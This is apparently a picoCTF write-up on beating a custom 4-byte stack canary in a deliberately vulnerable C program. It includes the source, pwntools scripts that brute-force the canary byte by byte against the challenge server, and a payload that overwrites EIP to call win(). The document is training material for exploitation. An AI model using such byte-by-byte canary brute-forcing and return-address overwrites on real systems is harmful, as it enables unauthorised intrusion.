Source code for the binary:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
This program creates a custom canary and checks if it has been modified
if (memcmp(canary,global_canary,CANARY_SIZE))
The canary is not known, but the size of it is defined as 4. To bypass the check I had to guess te value of the canary.
1.I found the location in memory of the canary:
I used https://wiremask.eu/tools/buffer-overflow-pattern-generator/ to generate a random string and used it to get the offset.
25:0094│ eax 0xffffcf28 ◂— 0x63413163 ('c1Ac')
I knew it was the right address as I ran the program before without any overflow to see at which address my string from canary.txt is.
# 25:0094│ eax 0xffffcf28 ◂— 0x74736574 ('test')
====>position 64
To check if I was correct, I ran the pwn script with the right value of the canary and there was no problem.
def loc():
binary = './vuln'
p = process(binary)
print(p.recvuntil(b"> "))
#the number of bytes, 100 will overflow
p.sendline(b'100')
print(p.recvuntil(b"Input> "))
p.sendline(b'A'*64 + b"\x74\x65\x73\x74" + b'A'*100)
print(p.recvall())
[+] Starting local process './vuln': pid 7699
b'How Many Bytes will You Write Into the Buffer?\n> '
b'Input> '
[+] Receiving all data: Done (28B)
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 7699)
b"Ok... Now Where's the Flag?\n"
Then I modified the size of the padding and the stack smashing was detected.
def loc():
binary = './vuln'
p = process(binary)
print(p.recvuntil(b"> "))
#the number of bytes, 100 will overflow
p.sendline(b'100')
print(p.recvuntil(b"Input> "))
p.sendline(b'A'*63 + b"\x74\x65\x73\x74" + b'A'*100)
print(p.recvall())
[+] Starting local process './vuln': pid 7745
b'How Many Bytes will You Write Into the Buffer?\n> '
b'Input> '
[+] Receiving all data: Done (60B)
[*] Process './vuln' stopped with exit code 0 (pid 7745)
b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
2.I guessed it letter by letter:
I tried every ascii character until I got the right one for every position.
I manually incremented the size and saved the string as I had to do this operation only 4 times
r.sendline(b'SIZE'), size is from 65 to 68
AND
r.sendline(b'A'*64 +b'STRING' + value)
The code:
def rem(value):
r = remote("saturn.picoctf.net",50044)
# print(r.recvuntil(b"> "))
r.sendline(b'68')
# print(r.recvuntil(b"Input> "))
r.sendline(b'A'*64 +b'BiRd' + value)
return r.recvall()
for i in range(255):
value = i.to_bytes(1, 'little')
result = rem(value)
if b'Smashing' not in result:
print(value)
break
Now, calling the win function.
For the address: info functions ---> 0x08049336 win
For the location of eip:
string:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
*EIP 0x61413561 ('a5Aa') --->offset:16
local:
def loc():
binary = './vuln'
p = process(binary)
print(p.recvuntil(b"> "))
#the number of bytes, 100 will overflow
p.sendline(b'100')
print(p.recvuntil(b"Input> "))
p.sendline(b'A'*64 + b"BiRd" + b'A'*16 + b'\x36\x93\x04\x08')
print(p.recvall())
remote:
def rem():
r = remote("saturn.picoctf.net",53100)
# print(r.recvuntil(b"> "))
r.sendline(b'200')
# print(r.recvuntil(b"Input> "))
r.sendline(b'A'*64 + b"BiRd" + b'A'*16 + b'\x36\x93\x04\x08')
print(r.recvall())